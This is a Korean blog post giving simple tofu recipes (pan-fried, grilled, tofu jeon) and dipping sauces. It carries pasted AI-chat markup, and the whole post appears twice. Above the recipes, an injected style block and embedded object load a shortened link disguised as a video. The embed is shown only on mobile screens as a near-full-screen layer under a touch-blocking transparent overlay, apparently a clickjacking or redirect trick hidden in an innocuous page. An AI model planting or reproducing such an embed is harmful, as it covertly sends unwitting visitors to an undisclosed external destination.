두부부침 양념장 두부구이 두부전 간단한 두부요리

<div class="figure-html" data-ke-type="html" data-source="<style> html, body { margin: 0; padding: 0; height: 100%; } .container { position: relative; width: 100%; height: 100%; } .content { position: relative; padding: 20px; height: 100%; overflow-y: auto; z-index: 1; } .overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; background: rgba(255, 255, 255, 0); touch-action: none; } .mobile-only { display: none; position: absolute; top: 0; left: 0; width: 100%; height: 80vh; min-height: 500px; max-height: 90vh; z-index: 10; } @media only screen and (max-width: 768px) { .mobile-only { display: block; } } </style> </head> <body> <div class="container"> <object data="https://vvd.bz/j3e" type="video/mp4" class="mobile-only"></object> </div> </body> <div _ngcontent-ng-c2700843290="" class="markdown markdown-main-panel stronger" id="" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:24">두부요리, 간단하고 맛있게 즐기세요!</h2><p data-sourcepos="3:1-3:100">두부는 다이어트 식단은 물론, 맛있는 한 끼 식사로도 손색없는 식재료입니다. 부드러운 식감과 담백한 맛으로 남녀노소 누구나 좋아하는 두부를 활용한 다양한 요리를 소개해 드릴게요.</p><h3 data-sourcepos="5:1-5:13">1. 두부 부침</h3><p data-sourcepos="7:1-7:20"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3235235147="" class="ng-star-inserted"><div _ngcontent-ng-c3235235147="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c3235235147="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3235235147="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c579620128="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_ef0e2b96b8f8441d&quot;,&quot;c_4df3aa4865372b31&quot;,null,&quot;rc_170fe62716c4e437&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://.10000recipe.com/recipe/6861453"><span _ngcontent-ng-c579620128="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3235235147="" class="image loaded" alt="두부 부침 " src="https://encrypted-tbn1.gstatic.com/images?q=tbn:ANd9GcTymuVgAGEQPnBvhEV6n3jHg5VSuFSnosqi3xSvWE--DLThECJ38UVG7cxAnBD-"></span><span _ngcontent-ng-c579620128="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3235235147="" rel="noopener" class="source ng-star-inserted" s://.10000recipe.com/recipe/6861453" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_ef0e2b96b8f8441d&quot;,&quot;c_4df3aa4865372b31&quot;,null,&quot;rc_170fe62716c4e437&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3235235147="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcRY0BsXokUpLeFLwK3N0hQMKboeTAwfQDjBp1wn6x2M9oPxToCdaIt2FUHt1BztF-Y23CRziOW0gTEFuwl5TvUYdjsAE7t28VGwUA4mew"><span _ngcontent-ng-c3235235147="" class="label ellipsis gds-label-m-alt">.10000recipe.com</span><span _ngcontent-ng-c3235235147="" aria-label=""></span></a></div><div _ngcontent-ng-c3235235147="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 두부 부침 </div></div></single-image></response-element></div></span></p><p data-sourcepos="9:1-9:45">기본적인 두부 요리이지만, 다양한 양념과 함께하면 색다른 맛을 즐길 수 있습니다.</p><ul data-sourcepos="11:1-16:0"> <li data-sourcepos="11:1-11:31"><strong>재료:</strong> 두부, 달걀, 부침가루, 소금, 식용유</li> <li data-sourcepos="12:1-16:0"><strong>만드는 법:</strong> <ol data-sourcepos="13:3-16:0"> <li data-sourcepos="13:3-13:34">두부를 먹기 좋은 크기로 썰어 소금을 살짝 뿌려둔다.</li> <li data-sourcepos="14:3-14:29">달걀을 풀고 부침가루를 섞어 반죽을 만든다.</li> <li data-sourcepos="15:3-16:0">두부에 반죽을 입혀 노릇하게 부친다.</li> </ol> </li> </ul><h3 data-sourcepos="17:1-17:12">2. 두부 구이</h3><p data-sourcepos="19:1-19:20"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3235235147="" class="ng-star-inserted"><div _ngcontent-ng-c3235235147="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c3235235147="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3235235147="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c579620128="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_ef0e2b96b8f8441d&quot;,&quot;c_4df3aa4865372b31&quot;,null,&quot;rc_170fe62716c4e437&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://.10000recipe.com/recipe/6657924"><span _ngcontent-ng-c579620128="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3235235147="" class="image loaded" alt="두부 구이 " src="https://encrypted-tbn3.gstatic.com/images?q=tbn:ANd9GcR4syuuIVWESD9j6pvl50PU63KlOclGylEmqmUG6Jy4is94EVtj6mSQBZtEj5LW"></span><span _ngcontent-ng-c579620128="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3235235147="" rel="noopener" class="source ng-star-inserted" s://.10000recipe.com/recipe/6657924" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_ef0e2b96b8f8441d&quot;,&quot;c_4df3aa4865372b31&quot;,null,&quot;rc_170fe62716c4e437&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3235235147="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcRY0BsXokUpLeFLwK3N0hQMKboeTAwfQDjBp1wn6x2M9oPxToCdaIt2FUHt1BztF-Y23CRziOW0gTEFuwl5TvUYdjsAE7t28VGwUA4mew"><span _ngcontent-ng-c3235235147="" class="label ellipsis gds-label-m-alt">.10000recipe.com</span><span _ngcontent-ng-c3235235147="" aria-label=""></span></a></div><div _ngcontent-ng-c3235235147="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 두부 구이 </div></div></single-image></response-element></div></span></p><p data-sourcepos="21:1-21:44">담백하고 건강한 두부 구이는 다양한 양념과 함께 곁들여 먹으면 더욱 맛있습니다.</p><ul data-sourcepos="23:1-28:0"> <li data-sourcepos="23:1-23:25"><strong>재료:</strong> 두부, 들기름, 소금, 후추</li> <li data-sourcepos="24:1-28:0"><strong>만드는 법:</strong> <ol data-sourcepos="25:3-28:0"> <li data-sourcepos="25:3-25:37">두부를 먹기 좋은 크기로 썰어 키친타월로 물기를 제거한다.</li> <li data-sourcepos="26:3-26:31">팬에 들기름을 두르고 두부를 노릇하게 구워준다.</li> <li data-sourcepos="27:3-28:0">소금과 후추로 간을 한다.</li> </ol> </li> </ul><h3 data-sourcepos="29:1-29:11">3. 두부 전</h3><p data-sourcepos="31:1-31:19"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3235235147="" class="ng-star-inserted"><div _ngcontent-ng-c3235235147="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c3235235147="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3235235147="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c579620128="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_ef0e2b96b8f8441d&quot;,&quot;c_4df3aa4865372b31&quot;,null,&quot;rc_170fe62716c4e437&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://semie.cooking/recipe-lab/archive/dubujeon"><span _ngcontent-ng-c579620128="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3235235147="" class="image loaded" alt="두부 전 " src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcTyd003l_E5QiBBi_hd5n-AwNwKVxQaRLS616UzICoMxAcahe14lh7zDRFIFA9U"></span><span _ngcontent-ng-c579620128="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3235235147="" rel="noopener" class="source ng-star-inserted" s://semie.cooking/recipe-lab/archive/dubujeon" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_ef0e2b96b8f8441d&quot;,&quot;c_4df3aa4865372b31&quot;,null,&quot;rc_170fe62716c4e437&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3235235147="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn1.gstatic.com/-tbn?q=tbn:ANd9GcTQZbroEkNsBsYLLAmFu7FQAktHBMb-JxyzDhLrKFR4rU6ssilMBVbtwr8Q_fPXUjIjg33aBNN0BkiRBntw5oyvEDpvMHswGw"><span _ngcontent-ng-c3235235147="" class="label ellipsis gds-label-m-alt">semie.cooking</span><span _ngcontent-ng-c3235235147="" aria-label=""></span></a></div><div _ngcontent-ng-c3235235147="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 두부 전 </div></div></single-image></response-element></div></span></p><p data-sourcepos="33:1-33:41">다양한 채소와 함께 부쳐 먹는 두부 전은 색다른 식감과 풍미를 더해줍니다.</p><ul data-sourcepos="35:1-40:0"> <li data-sourcepos="35:1-35:38"><strong>재료:</strong> 두부, 양파, 부추, 당근, 달걀, 부침가루, 소금</li> <li data-sourcepos="36:1-40:0"><strong>만드는 법:</strong> <ol data-sourcepos="37:3-40:0"> <li data-sourcepos="37:3-37:23">채소를 다져 두부와 함께 섞는다.</li> <li data-sourcepos="38:3-38:29">달걀을 풀고 부침가루를 섞어 반죽을 만든다.</li> <li data-sourcepos="39:3-40:0">반죽을 팬에 부쳐 노릇하게 익힌다.</li> </ol> </li> </ul><h3 data-sourcepos="41:1-41:22">4. 두부 요리에 어울리는 양념장</h3><ul data-sourcepos="43:1-46:0"> <li data-sourcepos="43:1-43:41"><strong>기본 간장 양념:</strong> 간장, 식초, 설탕, 다진 마늘, 참기름, 깨</li> <li data-sourcepos="44:1-44:41"><strong>매콤한 양념:</strong> 고춧가루, 간장, 식초, 다진 마늘, 참기름, 깨</li> <li data-sourcepos="45:1-46:0"><strong>고소한 양념:</strong> 땅콩버터, 간장, 물엿, 다진 마늘</li> </ul><h3 data-sourcepos="47:1-47:21">두부 요리 더 맛있게 즐기는 팁</h3><ul data-sourcepos="49:1-53:0"> <li data-sourcepos="49:1-49:51"><strong>두부 물기 제거:</strong> 키친타월로 물기를 충분히 제거하면 더욱 바삭하게 즐길 수 있다.</li> <li data-sourcepos="50:1-50:51"><strong>다양한 채소 활용:</strong> 양파, 부추, 당근 등 다양한 채소를 넣어 색다른 맛을 낸다.</li> <li data-sourcepos="51:1-51:33"><strong>따뜻하게 즐기기:</strong> 따뜻할 때 먹으면 더욱 맛있다.</li> <li data-sourcepos="52:1-53:0"><strong>다양한 소스 곁들이기:</strong> 찍어 먹는 소스를 다양하게 준비하면 더욱 풍성한 맛을 즐길 수 있다.</li> </ul><h3 data-sourcepos="54:1-54:7">마무리</h3><p data-sourcepos="56:1-56:76">두부는 다양한 요리에 활용할 수 있는 매력적인 식재료입니다. 위에 소개된 레시피를 참고하여 자신만의 특별한 두부 요리를 만들어 보세요.</p><p data-sourcepos="58:1-58:28"><strong>궁금한 점이 있다면 언제든지 질문해주세요.</strong></p><ul data-sourcepos="60:1-63:0"> <li data-sourcepos="60:1-60:26"><strong>다른 두부 요리 레시피를 원하시나요?</strong></li> <li data-sourcepos="61:1-61:33"><strong>특정 재료를 활용한 두부 요리를 알고 싶으신가요?</strong></li> <li data-sourcepos="62:1-63:0"><strong>두부 요리에 어울리는 밑반찬을 추천받고 싶으신가요?</strong></li> </ul><p data-sourcepos="64:1-64:26"><strong>#두부요리 #집밥 #요리레시피 #건강식단</strong></p></div> "><div data-ke-class="article"><style> html, body { margin: 0; padding: 0; height: 100%; } .container { position: relative; width: 100%; height: 100%; } .content { position: relative; padding: 20px; height: 100%; overflow-y: auto; z-index: 1; } .overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; background: rgba(255, 255, 255, 0); touch-action: none; } .mobile-only { display: none; position: absolute; top: 0; left: 0; width: 100%; height: 80vh; min-height: 500px; max-height: 90vh; z-index: 10; } @media only screen and (max-width: 768px) { .mobile-only { display: block; } } </style> </head> <xbody> <div class="container"> <object data="https://vvd.bz/j3e" type="video/mp4" class="mobile-only" allowNetworking='internal' allowScriptAccess='sameDomain'></object> </div> </xbody> <div _ngcontent-ng-c2700843290="" class="markdown markdown-main-panel stronger" id="" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:24">두부요리, 간단하고 맛있게 즐기세요!</h2><p data-sourcepos="3:1-3:100">두부는 다이어트 식단은 물론, 맛있는 한 끼 식사로도 손색없는 식재료입니다. 부드러운 식감과 담백한 맛으로 남녀노소 누구나 좋아하는 두부를 활용한 다양한 요리를 소개해 드릴게요.</p><h3 data-sourcepos="5:1-5:13">1. 두부 부침</h3><p data-sourcepos="7:1-7:20"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3235235147="" class="ng-star-inserted"><div _ngcontent-ng-c3235235147="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c3235235147="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3235235147="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c579620128="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_ef0e2b96b8f8441d","c_4df3aa4865372b31",null,"rc_170fe62716c4e437",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://.10000recipe.com/recipe/6861453"><span _ngcontent-ng-c579620128="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3235235147="" class="image loaded" alt="두부 부침 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn1.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcTymuVgAGEQPnBvhEV6n3jHg5VSuFSnosqi3xSvWE--DLThECJ38UVG7cxAnBD-"></span><span _ngcontent-ng-c579620128="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3235235147="" rel="noopener" class="source ng-star-inserted" s://.10000recipe.com/recipe/6861453" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_ef0e2b96b8f8441d","c_4df3aa4865372b31",null,"rc_170fe62716c4e437",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3235235147="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcRY0BsXokUpLeFLwK3N0hQMKboeTAwfQDjBp1wn6x2M9oPxToCdaIt2FUHt1BztF-Y23CRziOW0gTEFuwl5TvUYdjsAE7t28VGwUA4mew"><span _ngcontent-ng-c3235235147="" class="label ellipsis gds-label-m-alt">.10000recipe.com</span><span _ngcontent-ng-c3235235147="" aria-label=""></span></a></div><div _ngcontent-ng-c3235235147="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 두부 부침 </div></div></single-image></response-element></div></span></p><p data-sourcepos="9:1-9:45">기본적인 두부 요리이지만, 다양한 양념과 함께하면 색다른 맛을 즐길 수 있습니다.</p><ul data-sourcepos="11:1-16:0"> <li data-sourcepos="11:1-11:31"><strong>재료:</strong> 두부, 달걀, 부침가루, 소금, 식용유</li> <li data-sourcepos="12:1-16:0"><strong>만드는 법:</strong> <ol data-sourcepos="13:3-16:0"> <li data-sourcepos="13:3-13:34">두부를 먹기 좋은 크기로 썰어 소금을 살짝 뿌려둔다.</li> <li data-sourcepos="14:3-14:29">달걀을 풀고 부침가루를 섞어 반죽을 만든다.</li> <li data-sourcepos="15:3-16:0">두부에 반죽을 입혀 노릇하게 부친다.</li> </ol> </li> </ul><h3 data-sourcepos="17:1-17:12">2. 두부 구이</h3><p data-sourcepos="19:1-19:20"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3235235147="" class="ng-star-inserted"><div _ngcontent-ng-c3235235147="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c3235235147="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3235235147="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c579620128="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_ef0e2b96b8f8441d","c_4df3aa4865372b31",null,"rc_170fe62716c4e437",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://.10000recipe.com/recipe/6657924"><span _ngcontent-ng-c579620128="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3235235147="" class="image loaded" alt="두부 구이 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn3.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcR4syuuIVWESD9j6pvl50PU63KlOclGylEmqmUG6Jy4is94EVtj6mSQBZtEj5LW"></span><span _ngcontent-ng-c579620128="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3235235147="" rel="noopener" class="source ng-star-inserted" s://.10000recipe.com/recipe/6657924" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_ef0e2b96b8f8441d","c_4df3aa4865372b31",null,"rc_170fe62716c4e437",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3235235147="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcRY0BsXokUpLeFLwK3N0hQMKboeTAwfQDjBp1wn6x2M9oPxToCdaIt2FUHt1BztF-Y23CRziOW0gTEFuwl5TvUYdjsAE7t28VGwUA4mew"><span _ngcontent-ng-c3235235147="" class="label ellipsis gds-label-m-alt">.10000recipe.com</span><span _ngcontent-ng-c3235235147="" aria-label=""></span></a></div><div _ngcontent-ng-c3235235147="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 두부 구이 </div></div></single-image></response-element></div></span></p><p data-sourcepos="21:1-21:44">담백하고 건강한 두부 구이는 다양한 양념과 함께 곁들여 먹으면 더욱 맛있습니다.</p><ul data-sourcepos="23:1-28:0"> <li data-sourcepos="23:1-23:25"><strong>재료:</strong> 두부, 들기름, 소금, 후추</li> <li data-sourcepos="24:1-28:0"><strong>만드는 법:</strong> <ol data-sourcepos="25:3-28:0"> <li data-sourcepos="25:3-25:37">두부를 먹기 좋은 크기로 썰어 키친타월로 물기를 제거한다.</li> <li data-sourcepos="26:3-26:31">팬에 들기름을 두르고 두부를 노릇하게 구워준다.</li> <li data-sourcepos="27:3-28:0">소금과 후추로 간을 한다.</li> </ol> </li> </ul><h3 data-sourcepos="29:1-29:11">3. 두부 전</h3><p data-sourcepos="31:1-31:19"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3235235147="" class="ng-star-inserted"><div _ngcontent-ng-c3235235147="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c3235235147="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3235235147="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c579620128="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_ef0e2b96b8f8441d","c_4df3aa4865372b31",null,"rc_170fe62716c4e437",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://semie.cooking/recipe-lab/archive/dubujeon"><span _ngcontent-ng-c579620128="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3235235147="" class="image loaded" alt="두부 전 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcTyd003l_E5QiBBi_hd5n-AwNwKVxQaRLS616UzICoMxAcahe14lh7zDRFIFA9U"></span><span _ngcontent-ng-c579620128="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3235235147="" rel="noopener" class="source ng-star-inserted" s://semie.cooking/recipe-lab/archive/dubujeon" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_ef0e2b96b8f8441d","c_4df3aa4865372b31",null,"rc_170fe62716c4e437",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3235235147="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn1.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcTQZbroEkNsBsYLLAmFu7FQAktHBMb-JxyzDhLrKFR4rU6ssilMBVbtwr8Q_fPXUjIjg33aBNN0BkiRBntw5oyvEDpvMHswGw"><span _ngcontent-ng-c3235235147="" class="label ellipsis gds-label-m-alt">semie.cooking</span><span _ngcontent-ng-c3235235147="" aria-label=""></span></a></div><div _ngcontent-ng-c3235235147="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 두부 전 </div></div></single-image></response-element></div></span></p><p data-sourcepos="33:1-33:41">다양한 채소와 함께 부쳐 먹는 두부 전은 색다른 식감과 풍미를 더해줍니다.</p><ul data-sourcepos="35:1-40:0"> <li data-sourcepos="35:1-35:38"><strong>재료:</strong> 두부, 양파, 부추, 당근, 달걀, 부침가루, 소금</li> <li data-sourcepos="36:1-40:0"><strong>만드는 법:</strong> <ol data-sourcepos="37:3-40:0"> <li data-sourcepos="37:3-37:23">채소를 다져 두부와 함께 섞는다.</li> <li data-sourcepos="38:3-38:29">달걀을 풀고 부침가루를 섞어 반죽을 만든다.</li> <li data-sourcepos="39:3-40:0">반죽을 팬에 부쳐 노릇하게 익힌다.</li> </ol> </li> </ul><h3 data-sourcepos="41:1-41:22">4. 두부 요리에 어울리는 양념장</h3><ul data-sourcepos="43:1-46:0"> <li data-sourcepos="43:1-43:41"><strong>기본 간장 양념:</strong> 간장, 식초, 설탕, 다진 마늘, 참기름, 깨</li> <li data-sourcepos="44:1-44:41"><strong>매콤한 양념:</strong> 고춧가루, 간장, 식초, 다진 마늘, 참기름, 깨</li> <li data-sourcepos="45:1-46:0"><strong>고소한 양념:</strong> 땅콩버터, 간장, 물엿, 다진 마늘</li> </ul><h3 data-sourcepos="47:1-47:21">두부 요리 더 맛있게 즐기는 팁</h3><ul data-sourcepos="49:1-53:0"> <li data-sourcepos="49:1-49:51"><strong>두부 물기 제거:</strong> 키친타월로 물기를 충분히 제거하면 더욱 바삭하게 즐길 수 있다.</li> <li data-sourcepos="50:1-50:51"><strong>다양한 채소 활용:</strong> 양파, 부추, 당근 등 다양한 채소를 넣어 색다른 맛을 낸다.</li> <li data-sourcepos="51:1-51:33"><strong>따뜻하게 즐기기:</strong> 따뜻할 때 먹으면 더욱 맛있다.</li> <li data-sourcepos="52:1-53:0"><strong>다양한 소스 곁들이기:</strong> 찍어 먹는 소스를 다양하게 준비하면 더욱 풍성한 맛을 즐길 수 있다.</li> </ul><h3 data-sourcepos="54:1-54:7">마무리</h3><p data-sourcepos="56:1-56:76">두부는 다양한 요리에 활용할 수 있는 매력적인 식재료입니다. 위에 소개된 레시피를 참고하여 자신만의 특별한 두부 요리를 만들어 보세요.</p><p data-sourcepos="58:1-58:28"><strong>궁금한 점이 있다면 언제든지 질문해주세요.</strong></p><ul data-sourcepos="60:1-63:0"> <li data-sourcepos="60:1-60:26"><strong>다른 두부 요리 레시피를 원하시나요?</strong></li> <li data-sourcepos="61:1-61:33"><strong>특정 재료를 활용한 두부 요리를 알고 싶으신가요?</strong></li> <li data-sourcepos="62:1-63:0"><strong>두부 요리에 어울리는 밑반찬을 추천받고 싶으신가요?</strong></li> </ul><p data-sourcepos="64:1-64:26"><strong>#두부요리 #집밥 #요리레시피 #건강식단</strong></p></div> </div></div>